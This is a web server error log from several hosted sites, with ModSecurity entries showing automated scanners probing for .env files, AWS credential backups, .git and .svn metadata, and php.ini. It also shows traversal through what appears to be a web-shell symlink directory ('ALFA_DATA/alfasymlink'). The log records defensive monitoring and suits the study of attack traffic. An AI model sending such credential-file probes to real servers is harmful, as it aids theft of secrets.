[Tue Oct 27 08:24:58.040547 2026] [authz_core:error] [pid 3230465:tid 3230465] [client 216.25.124.24:47830] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 08:25:11.662615 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 54.235.191.179:4783] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/PNP0F13:00/physical_node/driver/00:02/subsystem/uevent
[Tue Oct 27 08:25:23.762071 2026] [ssl:error] [pid 3230465:tid 3230465] (70014)End of file found: [client 3.217.171.106:17243] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:25:32.064165 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 44.223.193.255:10114] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:25:35.640733 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 100.29.164.178:56859] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:25:51.790454 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 18.235.158.19:4470] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:25:55.802861 2026] [ssl:error] [pid 3230465:tid 3230465] (70014)End of file found: [client 52.0.218.219:16800] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:26:03.988352 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 3.230.224.6:9273] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:26:15.784972 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 52.45.92.83:28060] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:26:20.409861 2026] [security2:error] [pid 3221566:tid 3221566] [client 43.167.157.80:55986] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "auCYbCV3rvdaeXJTlLHAwAAAAAM"], referer: http://sherwinpinturas.com
[Tue Oct 27 08:26:20.423704 2026] [authz_core:error] [pid 3221566:tid 3221566] [client 43.167.157.80:55986] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Tue Oct 27 08:26:27.906466 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.45.29.57:6747] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:26:31.819045 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 184.73.68.20:15559] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:26:40.169886 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 23.21.119.232:48102] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:26:43.732560 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 54.80.185.200:14006] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:26:43.732757 2026] [security2:error] [pid 3220898:tid 3220898] [client 54.80.185.200:14006] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory19/subsystem/devices/memory2/removable"] [unique_id "auCYg40JjhEi1NzVi4XsgwAAAAc"]
[Tue Oct 27 08:26:43.732785 2026] [security2:error] [pid 3220898:tid 3220898] [client 54.80.185.200:14006] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory19/subsystem/devices/memory2/removable"] [unique_id "auCYg40JjhEi1NzVi4XsgwAAAAc"]
[Tue Oct 27 08:26:47.759602 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 34.234.206.30:6815] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:26:49.725813 2026] [security2:error] [pid 3230465:tid 3230465] [client 45.138.12.16:1828] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auCYiXOijkS-hyCWJGdJ9QAAAAI"]
[Tue Oct 27 08:26:49.726099 2026] [security2:error] [pid 3230465:tid 3230465] [client 45.138.12.16:1828] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auCYiXOijkS-hyCWJGdJ9QAAAAI"]
[Tue Oct 27 08:26:49.726482 2026] [security2:error] [pid 3230465:tid 3230465] [client 45.138.12.16:1828] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auCYiXOijkS-hyCWJGdJ9QAAAAI"]
[Tue Oct 27 08:26:49.987414 2026] [security2:error] [pid 3221566:tid 3221566] [client 45.138.12.16:1858] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.svn/entries"] [unique_id "auCYiSV3rvdaeXJTlLHAwQAAAAM"]
[Tue Oct 27 08:26:49.987682 2026] [security2:error] [pid 3221566:tid 3221566] [client 45.138.12.16:1858] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.svn/entries"] [unique_id "auCYiSV3rvdaeXJTlLHAwQAAAAM"]
[Tue Oct 27 08:26:49.987924 2026] [security2:error] [pid 3221566:tid 3221566] [client 45.138.12.16:1858] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.svn/entries"] [unique_id "auCYiSV3rvdaeXJTlLHAwQAAAAM"]
[Tue Oct 27 08:27:07.985172 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 100.24.167.60:33724] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:27:15.699621 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 54.198.33.233:35373] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:27:27.889129 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 3.213.85.234:48616] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:27:31.133190 2026] [core:error] [pid 3227580:tid 3227580] (13)Permission denied: [client 185.191.171.17:13596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/drm/sections/__kcrctab_gpl
[Tue Oct 27 08:27:31.966938 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 44.196.118.6:17601] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:27:35.885276 2026] [ssl:error] [pid 3230467:tid 3230467] (5)Input/output error: [client 52.71.46.142:29077] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:27:39.051711 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 85.208.96.209:21898] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:27:43.919544 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 44.223.115.10:19172] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/virtio-pci/0000:00:03.0/rom
[Tue Oct 27 08:27:47.749333 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 98.83.10.183:46568] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:27:55.675625 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 185.191.171.6:54234] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/zswap_entry/cpu_slabs
[Tue Oct 27 08:27:59.976253 2026] [ssl:error] [pid 3230465:tid 3230465] (70014)End of file found: [client 3.227.180.70:16146] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:28:04.019608 2026] [authz_core:error] [pid 3221566:tid 3221566] [client 104.199.36.53:45792] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 08:28:04.349927 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 100.28.57.133:34426] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:28:04.469610 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auCY1G_oZ855J3-bmxEqjgAAAAY"]
[Tue Oct 27 08:28:04.469905 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auCY1G_oZ855J3-bmxEqjgAAAAY"]
[Tue Oct 27 08:28:04.470254 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auCY1G_oZ855J3-bmxEqjgAAAAY"]
[Tue Oct 27 08:28:04.481846 2026] [security2:error] [pid 3227580:tid 3227580] [client 104.199.36.53:45816] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "ns1.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auCY1GUNDY12-2npPMSGJAAAAAo"]
[Tue Oct 27 08:28:04.482100 2026] [security2:error] [pid 3227580:tid 3227580] [client 104.199.36.53:45816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auCY1GUNDY12-2npPMSGJAAAAAo"]
[Tue Oct 27 08:28:04.482346 2026] [security2:error] [pid 3227580:tid 3227580] [client 104.199.36.53:45816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auCY1GUNDY12-2npPMSGJAAAAAo"]
[Tue Oct 27 08:28:04.491508 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.anthropic"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auCY1AHzNpgY2H50otlpzAAAAAg"]
[Tue Oct 27 08:28:04.491737 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auCY1AHzNpgY2H50otlpzAAAAAg"]
[Tue Oct 27 08:28:04.492128 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auCY1AHzNpgY2H50otlpzAAAAAg"]
[Tue Oct 27 08:28:04.496136 2026] [security2:error] [pid 3230467:tid 3230467] [client 104.199.36.53:45832] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auCY1A0kN5bHfPWi5uxzsgAAAAU"]
[Tue Oct 27 08:28:04.496283 2026] [security2:error] [pid 3230467:tid 3230467] [client 104.199.36.53:45832] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auCY1A0kN5bHfPWi5uxzsgAAAAU"]
[Tue Oct 27 08:28:04.496513 2026] [security2:error] [pid 3230467:tid 3230467] [client 104.199.36.53:45832] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auCY1A0kN5bHfPWi5uxzsgAAAAU"]
[Tue Oct 27 08:28:04.501975 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auCY1I0JjhEi1NzVi4XshwAAAAc"]
[Tue Oct 27 08:28:04.502126 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auCY1I0JjhEi1NzVi4XshwAAAAc"]
[Tue Oct 27 08:28:04.502368 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auCY1I0JjhEi1NzVi4XshwAAAAc"]
[Tue Oct 27 08:28:04.513237 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auCY1AJ0bI7Z9n11TMADbgAAAAA"]
[Tue Oct 27 08:28:04.513454 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auCY1AJ0bI7Z9n11TMADbgAAAAA"]
[Tue Oct 27 08:28:04.513759 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auCY1AJ0bI7Z9n11TMADbgAAAAA"]
[Tue Oct 27 08:28:04.518627 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auCY1HOijkS-hyCWJGdJ-QAAAAI"]
[Tue Oct 27 08:28:04.518779 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auCY1HOijkS-hyCWJGdJ-QAAAAI"]
[Tue Oct 27 08:28:04.519018 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auCY1HOijkS-hyCWJGdJ-QAAAAI"]
[Tue Oct 27 08:28:04.568426 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auCY1AHzNpgY2H50otlpzQAAAAg"]
[Tue Oct 27 08:28:04.568687 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auCY1AHzNpgY2H50otlpzQAAAAg"]
